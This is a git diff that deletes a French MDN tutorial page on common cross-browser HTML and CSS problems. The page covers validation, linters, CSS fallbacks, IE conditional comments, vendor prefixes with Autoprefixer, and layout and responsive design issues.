+ + diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/html_et_css/index.html b/files/fr/learn/tools_and_testing/cross_browser_testing/html_et_css/index.html deleted file mode 100644 index 7b2a01fc95..0000000000 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/html_et_css/index.html +++ /dev/null @@ -1,509 +0,0 @@ ---- -title: Gérer les problèmes courants en HTML et CSS -slug: Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS -tags: - - Apprentissage - - CSS - - Débutant - - HTML - - Sélecteurs - - linting - - navigateur croisé - - test -translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}
- -

Maintenant que les bases sont posées, nous allons nous concentrer sur les problèmes courants en navigateur croisé que vous allez rencontrer en code HTML et CSS, et quels outils peuvent être utilisés pour prévenir l'arrivée de ces problèmes, ou résoudre les problèmes qui surviennent. Cela inclut le linting code, la gestion des préfixes CSS, l'utilisation des outils de dev des navigateurs pour localiser les problèmes, utiliser des polyfills pour apporter du support dans les navigateurs, se confronter aux problèmes de responsive design et plus encore.

- - - - - - - - - - - - -
Prérequis : -

Connaissances avec le noyau des langages HTML, CSS, et JavaScript ; une idée du haut niveau des principes du test en navigateur croisé.

-
Objectif : -

Etre capable de diagnostiquer des problèmes courants de CSS et de HTML en navigateur croisé, et utiliser les techniques et outils appropriés pour les réparer.

-
- -

Les difficultés avec HTML et CSS

- -

Certains des problèmes avec le HTML et le CSS viennent du fait qu'ils sont tous les deux des langages qui sont assez simples, et souvent les développeurs ne les considèrent pas sérieusement, en termes de s'assurer que le code est bien conçu, efficace, et qu'il décrit sémantiquement les but de la fonctionnalité sur la page. Dans les pires des cas, Javascript est utilisé pour générer tout le contenu et le style d'une page web, ce qui rend vos pages inaccessibles, et moins performantes (générer des éléments de DOM est coûteux). Dans d'autres cas, des fonctionnalités naissantes ne sont pas supportées constamment par tous les navigateurs, ce qui peut empêcher certaines fonctionnalités et styles de fonctionner pour certains utilisateurs. Les problèmes de responsive design sont également courant — un site qui paraît bien sur le navigateur d'un ordinateur de bureau pourra fournir une expérience horrible sur un appareil mobile, à cause du contenu qui est trop petit pour être lu, ou peut-être que le site sera lent à cause de animations coûteuses.

- -

Commençons et regardons comment nous pouvons réduire les erreurs en navigateur croisé issues du HTML/CSS.

- -

Commençons par le commencement : résoudre les problèmes généraux

- -

Nous disions dans le premier article de cette série que c'était une bonne stratégie de commencer à tester sur une paire de navigateurs modernes sur desktop/mobile, afin de vous assurer que votre site fonctionne pour l'essentiel, avant de commencer à se concentrer sur les problèmes en navigateur croisé.

- -

Dans nos articles Debugging HTML et Debugging CSS, nous avancions quelques conseils très basiques sur le débogage HTML/CSS — si vous ne maîtrisez pas ces bases, vous devriez sans aucun doute aller étudier ces articles avant de continuer.

- -

Il s'agit essentiellement de vérifier si votre code HTML et CSS est bien conçu et s'il ne contient aucune erreur de syntaxe.

- -
-

Note : Un problème fréquent avec le HTML et le CSS arrive quand différentes règles CSS commencent à entrer en conflit avec une autre. Cela peut être particulièrement problématique lorsque vous utilisez un bout de code tierce. Par exemple, vous pouvez utiliser un modèle CSS et remarquer qu'un des noms de classe qui est utilisé entre en conflit avec un que vous utilisez déjà dans un but différent. Ou vous pouvez trouver que du HTML généré par une API tierce (générateur de bannières publicitaires, par exemple) inclut un nom de classe ou d'ID que vous utilisez déjà dans un but différent. Afin de garantir que cela ne se produira pas, vous devez rechercher les outils que vous allez utiliser en premier et construire votre code en conséquence. Il convient également de relever les "espace de noms" en CSS, par ex. si vous avez un widget, assurez-vous qu'il a des classes distinctes, et ensuite commencez les sélecteurs qui sélectionnent les éléments à l'intérieur du widget avec cette classe, les conflits risqueront moins d'arriver. Par exemple .audio-player ul a.

-
- -

La validation

- -

Pour le HTML, la validation implique de s'assurer que toutes vos balises sont correctement fermées et imbriquées, que vous utilisez un DOCTYPE, et que vous utilisez les balises à leur fin prévue. Une bonne stratégie est de valider régulièrement votre code. On service qui peut le faire est le W3C Markup Validation Service, qui vous permet de montrer votre code, et retourne une liste d'erreurs :

- -

The HTML validator homepage

- -

Le CSS a une histoire semblable — vous devez vérifier que vos noms de propriétés sont correctement épelés, ques les valeurs des propriétés sont correctement épelées et qu'elles sont valides pour les propriétés auxquelles elles s'appliquent, que vous n'oubliez aucune accolades ouvrantes et fermantes. Les W3C a un CSS Validator également disponible à cet effet.

- -

Les linters

- -

Une autre bonne option à envisager est ce qu'on appelle les applications Linter, qui ne font pas que souligner les erreurs, mais peuvent aussi mettre en évidence des avertissements à propos des mauvaises pratiques dans votre CSS, et encore d'autres points. Les linters peuvent pour la plupart être configurés pour être plus strictes ou plus coulants dans leur rapport d'erreur/avertissement.

- -

Il y a beaucoup d'applications linter en ligne, les meilleures d'entre elles sont probablement Dirty Markup (HTML, CSS, JavaScript), et CSS Lint (seulement CSS). Elles vous permettent de coller votre code dans une fenêtre, et mettront en évidence toutes les erreurs avec des croix, qui peuvent être survolées pour obtenir un message d'erreur décrivant le problème. Dirty Markup vous permet également de faire des fixs dans votre code en utilisant le bouton Clean.

- -

- -

Néanmoins, ce n'est pas très pratique de devoir copier et coller votre code dans une page web pour vérifier sa validité plusieurs fois. Ce dont vous avez vraiment besoin c'est d'un linter qui s'installera dans votre espace de travail standard avec le minimum de prise de tête.

- - - -

La plupart des éditeurs de code ont leur plugins linter. Par exemple, l'éditeur de code Atom de Github possède un riche écosystème de plugins disponibles, avec beaucoup d'options de linting. Voici un exemple pour vous montrer comment un plugin marche généralement :

- -
    -
  1. Installer Atom (si vous n'avez pas déjà une version à jour installée) — télécharger-le depuis la page Atom indiquée plus haut.
    2. -
  2. Aller dans la boîte de dialogue Préférences... d'Atom (par ex. en sélectionnant Atom > Préférences... sur Mac, ou Fichier > Préférences... sur Windows/Linux) et choisissez l'option Installer dans le menu gauche.
    3. -
  3. Dans le champs texte Rechercher des packages, taper "lint" et presser Entrer/Envoyer pour rechercher des packages liés au linting.
    4. -
  4. Vous devriez voir un package appelé lint dans le haut de la liste. Installez celui-ci en premier (en utilisant le bouton Installer), comme les autres linters lui font appel pour fonctionner. Ensuite, installer le plugin linter-csslint pour le linting CSS, et le plugin linter-tidy pour le linting HTML.
    5. -
  5. Une fois que les packages ont fini de s'installer, essayer de charger un fichier HTML et un fichier CSS : vous verrez plusieurs zones soulignées en vert (pour les avertissements) et des cercles rouges (pour les erreurs) à côté des numéros de ligne, et un panneau séparé en bas qui affiche les numéros de ligne, les messages d'erreur, et parfois qui vous suggère des valeur par défaut ou d'autres solutions.
    6. -
- - - -

- -

D'autres éditeurs populaires ont des packages de linting similaires. Voir, par exemple :

- - - -

Les outils de développement des navigateurs

- -

Les outils de développement inclus dans la plupart des navigateurs fournissent également des outils pour traquer les erreurs, en particulier pour le CSS.

- -
-

Note : Les erreurs HTML n'ont pas tendance à se montrer facilement avec les outils de dev, étant donné que le navigateur va essayer de corriger en fermant automatiquement mal les balises ; le validateur W3C est la meilleure façon d'obtenir des erreurs HTML — voir {{anch("Validation")}} plus haut.

-
- -

As an example, in Firefox the CSS inspector will show CSS declarations that aren't applied crossed out, with a warning triangle. Hovering the warning triangle will provide a descriptive error message:

- -

- -

Les outils de dev des autres navigateurs ont des fonctionnalités semblables.

- -

Problèmes fréquents en navigateur croisé

- -

Attaquons-nous maintenant à certains des problèmes HTML et CSS les plus courants en navigateur croisé. Les sujets principaux que nous allons aborder sont l'absence de support pour les fonctionnalités modernes, et les problèmes de mise en page.

- -

Les vieux navigateurs ne supportant pas les fonctionnalités récentes

- -

C'est un problème courant, particulièrement lorsque vous devez supporter de vieux navigateurs (comme les anciennes versions d'IE) ou que vous utilisez des fonctionnalités qui sont implémentées en utilisant des préfixes CSS. En général, les fonctionnalités principales du HTML et du CSS (comme les éléments HTML basiques, les couleurs et styles de texte principaux de CSS) marchent sur la plupart des navigateurs que vous voulez supporter ; la majorité des problèmes sont découverts lorsque que vous commencez à vouloir utiliser des nouveautés comme Flexbox, ou HTML5 video/audio, ou encore plus récent, CSS Grids ou -webkit-background-clip: text.

- -

Une fois que vous avez identifié une liste des potentielles technologies à problèmes que vous allez utiliser, c'est une bonne initiative des rechercher sur quels navigateurs elles sont supportées, et quelles techniques associées sont utiles. Voir {{anch("Finding help")}} plus bas.

- -

Comportement naturel du HTML

- -

Certains problèmes peuvent être résolus, seulement en tirant parti des réactions naturelles du HTML/CSS.

- -

Les éléments HTML non reconnus sont traités par les navigateurs comme des éléments inline anonymes (véritablement des éléments inline avec aucune valeur sémantiques, similaires aux éléments {{htmlelement("span")}} ). Vous pouvez toujours vous référez à eux avec leurs noms, et les styler avec du CSS, par exemple — vous avez juste besoin de vous assurer qu'ils se comportent comme vous le voulez, par exemple configurer display: block; sur tous les nouveaux éléments sémantiques (comme {{htmlelement("article")}}, {{htmlelement("aside")}}, etc.), mais seulement sur les vieilles versions d'IE qui ne les reconnaissent pas (donc, IE 8 et plus faible). De cette façon les nouveaux navigateurs peuvent juste utiliser le code normalement, mais les anciennes versions d'IE seront également capables de styler ces éléments.

- -
-

Note : Voir {{anch("IE conditional comments")}} pour une application efficace.

-
- - - -

Des éléments HTML plus complexes comme <video>, <audio>, et <canvas> (et encore d'autres) ont des mécanismes naturels pour que les recours soient ajoutés, qui se basent sur le même principe décrit plus haut. Vous pouvez ajouter un contenu de repli entre la balise ouvrante et fermante, et les navigateurs ne supportant pas la feature vont effectivement ignorer les éléments extérieurs et exécuter le contenu imbriqué.

- -

Par exemple :

- -
<video id="video" controls preload="metadata" poster="img/poster.jpg">
-  <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4">
-  <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm">
-  <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg">
-  <!-- Flash fallback -->
-  <object type="application/x-shockwave-flash" data="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576">
-     <param name="movie" value="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" />
-     <param name="allowfullscreen" value="true" />
-     <param name="wmode" value="transparent" />
-     <param name="flashvars" value="controlbar=over&amp;image=img/poster.jpg&amp;file=flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" />
-      <img alt="Tears of Steel poster image" src="img/poster.jpg" width="1024" height="428" title="No video playback possible, please download the video from the link below" />
-  </object>
-  <!-- Offer download -->
-  <a href="video/tears-of-steel-battle-clip-medium.mp4">Download MP4</a>
-</video>
- -

Cette exemple (issu de Creating a cross-browser video player) n'inclut pas seulement un lecteur Flash de repli pour les anciennes versions d'IE, mais aussi un lien simple vous permettant de télécharger la vidéo si jamais le lecteur Flash ne fonctionne pas, finalement l'utilisateur peut toujours accéder à la vidéo.

- -
-

Note : les librairies tierces comme Video.js et JW Player utilisent ce type de mécanismes de recours pour fournir un support en navigateur croisé.

-
- -

Les éléments des formulaire HTML5 présentent également des recours de qualités — HTML5 a introduit des types d'<input> spéciaux pour insérer des informations spécifiques dans les formulaires, en particulier sur les plateformes mobiles, où fournir une insertion de données sans difficultés est primordiale pour l'expérience utilisateur. Supporter les plateformes apporte des widgets UI spéciaux lorsque ces types d'input sont utilisés, comme le widget calendrier pour entrer des dates.

- -

L'exemple suivant montre des inputs date et time :

- -
<form>
-  <div>
-    <label for="date">Enter a date:</label>
-    <input id="date" type="date">
-  </div>
-  <div>
-    <label for="time">Enter a time:</label>
-    <input id="time" type="time">
-  </div>
-</form>
- -

Le résultat de ce code est le suivant :

- - - -

{{ EmbedLiveSample('Hidden_example', '100%', 150) }}

- -
-

Note : Vous pouvez également le voir exécuté en direct depuis forms-test.html sur GitHub (voir aussi le code source).

-
- -

Si vous consultez l'exemple sur un navigateur qui supporte les technologies récentes comme Android Chrome ou iOS Safari, vous verrez le widget/fonctionnalité spécial en action quand vous essaierai de saisir des données. Sur des plateformes non compatibles comme Firefox ou Internet Explorer, les inputs vont juste recourir à un input texte normal, finalement l'utilisateur peut toujours entrer des informations.

- -

Note : Bien entendu, cela n'est pas une solution viable pour les besoins de votre projet — la différence dans une présentation visuelle n'est pas désirée, de plus c'est compliqué de garantir que la donnée qui a été inscrite est dans le format que vous voulez qu'elle soit. Pour les formulaires en navigateur croisé, il est préférable de se référer aux simples éléments de formulaire, ou utiliser les éléments avancés de formulaire de manière sélective uniquement sur les navigateurs qui les supportent, ou utiliser une librairie qui fournit des widget décents en navigateur croisé, comme jQuery UI ou Bootstrap datepicker.

- -

Comportement naturel du CSS

- - - -

Le CSS est sans doute meilleur en solution de recours que le HTML. Si un navigateur rencontre une déclaration ou une règle qu'il ne comprend pas, il la passe complètement sans l'appliquer ou provoquer une erreur. Cela peut être frustrant pour vous et vos utilisateurs si de telles erreurs se glissent à travers le code en production, mais au moins cela veut dire que l'ensemble du site ne va pas crasher à cause d'une erreur, et si utilisé intelligemment vous pouvez vous en servir à votre avantage.

- -

Observons un exemple — une simple boîte stylée avec du CSS, qui a certains styles apportés par différentes caractéristiques CSS3 :

- -

- -
-

Note : Vous pouvez également voir cet exemple exécuté en direct sur GitHub comme button-with-fallback.html (voir aussi le code source).

-
- -

Le bouton a un nombre de déclarations qui le style, mais les deux qui nous intéressent le plus sont les suivantes :

- -
button {
-  ...
-
-  background-color: #ff0000;
-  background-color: rgba(255,0,0,1);
-  box-shadow: inset 1px 1px 3px rgba(255,255,255,0.4),
-              inset -1px -1px 3px rgba(0,0,0,0.4);
-}
-
-button:hover {
-  background-color: rgba(255,0,0,0.5);
-}
-
-button:active {
-  box-shadow: inset 1px 1px 3px rgba(0,0,0,0.4),
-              inset -1px -1px 3px rgba(255,255,255,0.4);
-}
- -

Ici on fournit un {{cssxref("background-color")}} RGBA qui modifie l'opacité au survol afin de donner à l'utilisateur l'information que le bouton est interactif, et une ombre {{cssxref("box-shadow")}} interne semi-transparente pour donner au bouton un peu de texture et de profondeur. Le problème est que les couleurs RGBA et les box shadows ne fonctionnent pas sur les versions d'IE plus vieilles que la 9 — dans les versions plus anciennes le background ne sera juste pas visible du tout et le texte sera illisible, pas bon du tout !

- -

- -

Pour résoudre ce problème, nous avons ajouté une deuxième déclaration background-color, qui précise juste une couleur hex — c'est un recours supporté par les vieux navigateurs, et agit en tant que solution de repli si les fonctionnalités belles et brillantes ne fonctionnent pas. Ce qui se passe c'est que le navigateur parcourant cette page applique pour commencer la première valeur background-color ; lorsqu'il sélectionne la deuxième déclaration background-color, il remplace la valeur initiale avec cette valeur s'il supporte les couleurs RGBA. S'il ne supporte pas, il ignorera juste toute la déclaration et continuera à avancer.

- -
-

Note : Il se produit la même chose pour les autres caractéristiques de CSS comme les blocs media queries, @font-face et @supports — s'ils ne sont pas supportés, le navigateur va juste les ignorer.

-
- -

Les commentaires conditionnels d'IE

- -

Les commentaires conditionnels d'IE sont une propriété modifiée de la syntaxe des commentaires HTML, qui peuvent être utilisés pour appliquer du code HTML de manière sélective à différentes versions d'IE. Cela s'est avéré être un mécanisme très efficace pour résoudre les bugs en navigateur croisé. La syntaxe ressemble à ça :

- -
<!--[if lte IE 8]>
-  <script src="ie-fix.js"></script>
-  <link href="ie-fix.css" rel="stylesheet" type="text/css">
-<![endif]-->
- -

Ce block appliquera les CSS et Javascript spécifiques à IE uniquement si le navigateur qui affiche la page est IE 8 ou plus vieux. lte veux dire "moins que ou égal", mais vous pouvez aussi utiliser lt, gt, gte, ! pour NOT, et d'autre syntaxe logique.

- -
-

Note : L'article Internet Explorer Conditional Comments de Sitepoint apporte un tutoriel/référence utile pour les débutants qui explique la syntaxe des commentaires conditionnels en détail.

-
- -

Comme vous pouvez le voir, c'est particulièrement utile pour appliquer des fixes aux vieilles versions d'IE. Le cas d'usage que nous avons mentionné plus tôt (rendre les éléments sémantiques modernes stylables sur les vieilles versions d'IE) peut être atteint facilement en utilisant des commentaires conditionnels, par exemple vous pouvez mettre quelque chose comme ça dans votre feuille de style IE :

- -
aside, main, article, section, nav, figure, figcaption {
-  display: block;
-}
- -

Ce n'est cependant pas aussi simple — vous devez également créer une copie de chacun des éléments que vous voulez styler dans le DOM via Javascript, pour les rendre stylable ; c'est un peu bizarre, et nous ne vous ennuierons pas avec les détails ici. Par exemple :

- -
var asideElem = document.createElement('aside');
- ...
- -

Cela paraît assez compliqué à gérer, mais heureusement il y a un {{glossary("polyfill")}} disponible qui fait les fixs nécessaires pour vous, et plus encore — voir HTML5Shiv pour tous les détails (voir manual installation pour les usages les plus simples).

- -

Support de sélecteur

- -

Naturellement, aucune caractéristiques CSS ne s'appliquera si vous n'utilisez pas les bons sélecteurs pour sélectionner l'élément que vous voulez styler ! Si vous écrivez juste mal un sélecteur alors le style ne sera juste pas celui attendu sur aucun navigateur, vous devez juste résoudre le problème et trouver ce qui ne va pas avec votre sélecteur. Nous trouvons utile d'inspecter l'élément que vous essayez de styler en utilisant l'outil de dev de votre navigateur, ensuite regarder l'arborescence du fil d'Ariane du DOM que les inspecteurs du DOM fournissent en général afin de voir si votre sélecteur est pertinent par rapport à ce fil d'Ariane.

- -

Par exemple, dans l'outil de dev de Firefox, vous obtenez ce genre rendement en bas de l'inspecteur du DOM :

- -

- -

Si pour cet exemple vous essayez d'utiliser ce sélecteur, vous vous rendrez compte qu'il ne sélectionnera pas l'élément input comme désiré :

- -
form > #date
- -

(L'input date du formulaire n'est pas directement dans le <form> ; vous feriez mieux d'utiliser un sélecteur descendant général plutôt qu'un sélecteur d'enfant).

- -

Il y a néanmoins un autre problème qui apparaît sur les versions d'IE plus anciennes que la 9 c'est qu'il n'y a aucun nouveau sélecteur (principalement les pseudo-classes et les pseudo-éléments comme :nth-of-type, :not, ::selection, etc.) qui marche. Si vous voulez les utiliser dans votre CSS et que vous devez supporter les anciennes versions d'IE, une bonne initiative et d'utiliser la librairie Selectivizr de Keith Clark — c'est une petite librairie Javascript qui s'exécute au-dessus d'une librairie Javascript existante comme  jQuery ou MooTools.

- -
    -
  1. Afin de tester cet exemple, faites une copie locale de selectivizr-example-start.html. Si vous le regarder s'exécuter en direct, vous verrez qu'il contient deux paragraphes, dont l'un est stylé. Nous avons sélectionné le paragraphe avec p:first-child, qui ne fonctionne pas sur les anciennes versions d'IE.
    2. -
  2. Maintenant télécharger MooTools et Selectivizr, et placez-les dans le même répertoire que votre fichier HTML.
    3. -
  3. Placer le code suivant dans la têtière de votre document HTML, juste avant la balise ouvrante <style> : - 
    <script type="text/javascript" src="MooTools-Core-1.6.0.js"></script>
-    <!--[if (gte IE 6)&(lte IE 8)]>
-      <script type="text/javascript" src="selectivizr-min.js"></script>
-    <![endif]-->
    -
    4. -
- -

Si vous essayer d'exécuter cette page sur une vieille version d'IE, cela devrait bien fonctionner.

- -

- -

Gestion des préfixes CSS

- -

Une autre source de problèmes arrive avec les préfixes CSS — ceux sont des mécanismes utilisés à la base pour permettre au navigateur d'implémenter leur propre version d'une fonctionnalité CSS (ou Javascript) tant que la technologie est en stade expérimentale, donc ils peuvent jouer avec et la finaliser sans entrer en conflit avec les implémentations des autres navigateurs, ou la dernière implémentation non-préfixée. Voici par exemple :

- -
    -
  • Mozilla utilise -moz-
    • -
  • Chrome/Opera/Safari utilise -webkit-
    • -
  • Microsoft utilise -ms-
    • -
- -

Voici quelques exemples :

- -
-webkit-transform: rotate(90deg);
-
-background-image: -moz-linear-gradient(left,green,yellow);
-background-image: -webkit-gradient(linear,left center,right center,from(green),to(yellow));
-background-image: linear-gradient(to right,green,yellow);
-
- -

La première ligne déclare une propriété {{cssxref("transform")}} avec un préfixe -webkit- — c'était nécessaire pour que la transformation fonctionne sur Chrome, etc jusqu'à ce que la fonctionnalité soit finalisée et beaucoup de navigateurs ont ajouté une version de la propriété sans préfixes (au moment de la rédaction, Chrome supportait les deux versions).

- -

Les trois dernières images montrent trois versions différentes de la fonction linear-gradient(), qui est utilisée pour générer un dégradé linéaire dans la background d'un élément :

- -
    -
  1. La première a un préfixe -moz-, et montre une version plutôt ancienne de la syntaxe (Firefox)
    2. -
  2. La seconde a un préfixe -webkit-, et montre encore une vieille version de la syntaxe de la propriété (également issue d'une vraiment vieille version du moteur Wekkit)
    3. -
  3. La troisième n'a pas de préfixe, et montre la version finale de la syntaxe (inclue dans  CSS Image Values and Replaced Content Module Level 3 spec, qui définit cette fonctionnalité).
    4. -
- -

Les fonctionnalités préfixées sont supposées ne jamais être utilisées dans des sites web en production — elles sont susceptibles de changer ou d'être supprimées sans avertissement, et causent des problèmes en navigateur croisé. C'est particulièrement un problème lorsque les développeurs décident de n'utiliser que la version -webkit- d'une propriété — ce qui veut dire que le site ne fonctionnera pas sur d'autres navigateurs. En fait, cela arrive tellement souvent que d'autres navigateurs ont commencé à implémenter les versions préfixées -webkit- de plusieurs propriétés CSS, ils marcheront donc avec un tel code. L'utilisation des préfixes fournit par chaque navigateur a récemment déclinée précisément à cause de ce type de problèmes, mais il en reste encore certain qui demandent de l'attention.

- -

Si vous persistez a utiliser des fonctionnalités préfixées, assurez-vous d'utiliser les bonnes. Vous pouvez vérifier quels navigateurs ont besoin de préfixes sur les pages de référence MDN, et des sites comme caniuse.com. Si vous doutez, vous pouvez aussi vérifier en faisant des tests directement sur les navigateurs.

- -

Essayez cet exemple simple :

- -
    -
  1. Ouvrez google.com, ou un autre site qui a un en-tête proéminent ou un niveau de bloc d'élément.
    2. -
  2. Clic droit sur l'élément en question et choisir Inspecter/Inspecter l'élément (ou qu'importe l'option de votre navigateur) — cela devrait ouvrir les outils de dev dans votre navigateur, avec l'élément mis en valeur dans l'inspecteur du DOM.
    3. -
  3. Chercher une fonctionnalité que vous pouvez utiliser pour sélectionner cet élément. Par exemple, au moment de la rédaction, le logo principal de Google a un ID hplogo.
    4. -
  4. Entreposer une référence à cet élément dans une variable, par exemple : - 
    var test = document.getElementById('hplogo');
    -
    5. -
  5. Maintenant essayez d'appliquer une nouvelle valeur pour la propriété CSS qui vous intéresse sur cet élément ; vous pouvez le faire en utilisant la propriété style de l'élément, par exemple essayez de taper ça dans votre console Javascript :
    6. -
  6. - 
    test.style.transform = 'rotate(90deg)'
-test.style.webkitTransform = 'rotate(90deg)'
    -
    7. -
- -

Quand vous commencez à taper la transcription du nom de la propriété après le deuxième point (notez qu'en Javascript, les noms des propriétés CSS sont écrites en lower camel case, sans trait d'union), la console Javascript devrait commencer à saisir automatiquement les noms des propriétés qui existent dans le navigateur et qui correspondent au mieux avec ce que vous écrivez. C'est utile pour trouver quelles versions de la propriété est implémentée dans ce navigateur.

- -

A l'heure où ces lignes sont écrites, Firefox et Chrome ont implémenté tous les deux les versions préfixées -webkit- et non préfixées de {{cssxref("transform")}} !

- -

Une fois que vous avez trouvé quels préfixes vous avez besoin de supporter, vous devriez tous les inscrire dans votre CSS, par exemple :

- -
-ms-transform: rotate(90deg);
--webkit-transform: rotate(90deg);
-transform: rotate(90deg);
- -

Cela vous assurera que tous les navigateurs qui supportent n'importe laquelle des formes de la propriété ci-dessus pourront faire marcher la fonctionnalité. Il convient de placer la version non préfixée en dernier, parce qu'elle sera la version la plus récente, que vous voulez que les navigateurs utilisent si c'est possible. Si par exemple un navigateur implémente la version -webkit- et la version non préfixée, il va en premier temps appliquer la version -webkit-, puis la remplacer par la version non préfixée. Vous voulez que cela se produise dans ce sens, et non dans l'autre.

- -

Bien entendu, appliquer cela à de nombreuses différentes règles CSS peut devenir très fastidieux. Il est préférable d'utiliser des outils d'automatisation qui le font pour vous. Et de tels outils existent :

- -

La prefix-free JavaScript library peut être jointe à une page, et détectera automatiquement quels sont les aptitudes détenues par navigateurs en analysant la page et en ajoutant les préfixes appropriés. C'est très facile et pratique à utiliser, bien qu'il ait quelques inconvénients (voir le lien au-dessus pour plus de détails), et on peut discuter du fait qu'analyser chaque feuille de style de votre site et ajouter des préfixes lors de l'exécution peut être un fardeau pour la puissance de traitement de l'ordinateur pour un grand site.

- -

Une autre solution est d'ajouter automatiquement les préfixes pendant le développement, et cela (et d'autres choses à venir) peut être fait en utilisant des outils comme Autoprefixer et PostCSS. Ces outils peuvent être utilisés de diverses manières, par exemple Autoprefixer a une version en ligne qui vous permet d'entrer votre CSS non préfixé sur la gauche, et vous donne une version avec préfixes ajoutés sur la droite. Vous pouvez sélectionner quels navigateurs vous voulez afin de vous assurer de bien supporter en utilisant la notation définie dans Autoprefixer options ; pour plus de détails, voir aussi Browserslist queries, qui est basé dessus. Comme exemple, la requête suivante sélectionnera les deux dernières versions de tous le navigateurs principaux et les versions d'IE  supérieure à la 9.

- -
last 2 versions, ie > 9
- - - -

Autoprefixer peut aussi être utilisé dans d'autres cas, plus pratiques — voir Autoprefixer usage. Par exemple vous pouvez l'utiliser avec un exécuteur de tâche/outil de build comme Gulp ou Webpack pour ajouter automatiquement les préfixes une fois que le développement a été fait. (Expliquer comment cela fonctionne est plutôt au-delà de la portée de cet article).

- -

Vous pouvez également utiliser un plugin pour éditeur de texte comme Atom ou Sublime text. Par exemple, dans Atom :

- -
    -
  1. Vous pouvez l'installer en allant dans Préférences > Installer, chercher Autoprefixer, puis cliquer sur installer.
    2. -
  2. Vous pouvez configurer une requête navigateur en appuyant sur le bouton Settings d'Autoprefixer et entrer la requête dans le champs texte de la section Setting de la page.
    3. -
  3. Dans votre code, vous pouvez sélectionner des sections de CSS auxquelles vous voulez ajouter des préfixes, ouvrez la palette de commande (Cmd/Ctrl + Shift + P), puis tapez Autoprefixer dedans et sélectionnez le résultat Autoprefixer qui auto complète.
    4. -
- -

En tant qu'exemple, nous avons entré le code suivant :

- -
body {
-  display: flex;
-}
- -

Nous l'avons sélectionné et exécuté la commande Autoprefixer, et il l'a remplacé par ça :

- -
body {
-  display: -webkit-box;
-  display: -ms-flexbox;
-  display: flex;
-}
- -

Les problèmes de mise en page

- -

Un autre problème qui peut survenir est la différence de mise en page entre les navigateurs. Historiquement c'était traité comme bien plus qu'un problème, mais ces derniers temps, avec les navigateurs modernes qui ont tendance à supporter le CSS plus systématiquement, les problèmes de mise en page ont plus tendance à être couramment associés avec :

- -
    -
  • Le manque (ou différences dans) de support pour les dispositions modernes.
    • -
  • Les dispositions qui ne paraissent pas bonnes sur les navigateurs mobiles (par ex. les problèmes en responsive design).
    • -
- -
-

Note : Historiquement les développeurs web étaient habitués à utiliser des fichiers CSS appelés resets, qui supprimaient tous les styles par défaut des navigateurs qui s'appliquaient au HTML, et ensuite appliquaient leurs propres styles pour tout le reste — c'était fait pour rendre le style sur un projet plus cohérent, et réduire les possibles problèmes en navigateur croisé, spécialement pour les choses issues de la mise en page. Toutefois, cela a récemment été défini comme exagéré. Le meilleur équivalent que nous avons de nos jours c'est le normalize.css, un peu de CSS propre qui style discrètement par-dessus le style par défaut des navigateurs afin de rendre les éléments plus cohérents et fixe quelques problèmes de disposition. Nous vous recommandons d'appliquer normalize.css sur toutes vos pages HTML.

-
- -
-

Note :  Lorsque vous essayer de localiser un problème de disposition difficile, une bonne technique et d'ajouter une couleur éclatante {{cssxref("outline")}} sur l'élément dérangeant, ou sur tous les éléments à côté. Cela facilite la tâche pour voir où tous les éléments sont placés. Voir Debug your CSS with outline visualizations pour plus de détails...

-
- -

Support pour les nouvelles caractéristiques de disposition

- -

La plupart du travail de mise en page sur le web aujourd'hui et réalisé en utilisant les floats — c'est parce que les floats sont bien supportés (depuis IE 4, bien qu'il y ait un certain nombre de bugs qui auront besoin d'être examinés si vous essayez de supporter IE aussi loin). Il n'y a néanmoins pas de véritables explications sur la mise en page — utiliser les floats comme nous les utilisons est un vrai hack — et ils ont de sérieuses limites (par ex. voir Why Flexbox?)

- -

Plus récemment, des mécanismes dédiés à la disposition ont fait leur apparition, comme Flexbox et CSS Grids, qui rendent les tâches ordinaires de disposition bien plus simples et enlèvent les défauts. Ils ne sont cependant pas bien supportés dans les navigateurs :

- -
    -
  • Les grilles CSS sont très récentes ; au moment de la rédaction, elles n'étaient supportées que par les toutes nouvelles versions des navigateurs modernes.
    • -
  • Flexbox est bien supportée dans les navigateurs modernes, mais amène des problèmes dans les vieux navigateurs. IE9 ne le supporte pas du tout, et IE 10 et les vieilles versions d'iOS/desktop Safari supportent respectivement des vieilles versions incompatibles des spécifications de flexbox. Ceci amène à s'intéresser au jonglage des préfixes de navigateur si vous voulez essayer d'utiliser flexbox sur tous ces navigateurs (voir Advanced Cross-Browser Flexbox pour vous faire une idée).
    • -
- -

Les fonctionnalités de disposition ne sont pas aussi simples pour fournir des solutions de repli que de simples couleurs, ombres ou dégradés. Si les propriétés de disposition sont ignorées, la totalité de votre design sera réduit en pièces. De ce fait, vous devez utiliser une fonctionnalité de détection pour détecter si les navigateurs qui consultent votre site supportent ces caractéristiques de disposition, et appliquer différentes dispositions de manière sélective selon le résultat (nous couvrirons les fonctionnalités de détection dans un article à venir).

- -

Par exemple, vous pourriez appliquer une disposition flexbox sur les navigateurs modernes, et aussi appliquer une disposition en float pour les plus vieux navigateurs qui ne supportent pas flexbox.

- -
-

Note : Il y a une fonctionnalité assez récente en CSS appelé @supports, qui vous permet d'implémenter des tests de détection de fonctionnalités natives.

-
- -

Les problèmes de responsive design

- -

Le design responsive est la pratique de créer des dispositions web qui s'adaptent en fonction des facteurs de formes de l'appareil — par exemple différentes tailles d'écran, l'orientation (portait ou paysage), ou la résolution. Une disposition pour ordinateur de bureau par exemple paraîtra atroce lorsqu'elle sera affichée sur un appareil mobile, vous allez donc devoir fournir une disposition appropriée aux mobiles en utilisant les media queries, et assurez-vous qu'il est appliqué correctement en utilisant viewport. Vous pouvez trouver un bilan précis de telles pratiques dans The building blocks of responsive design.

- -

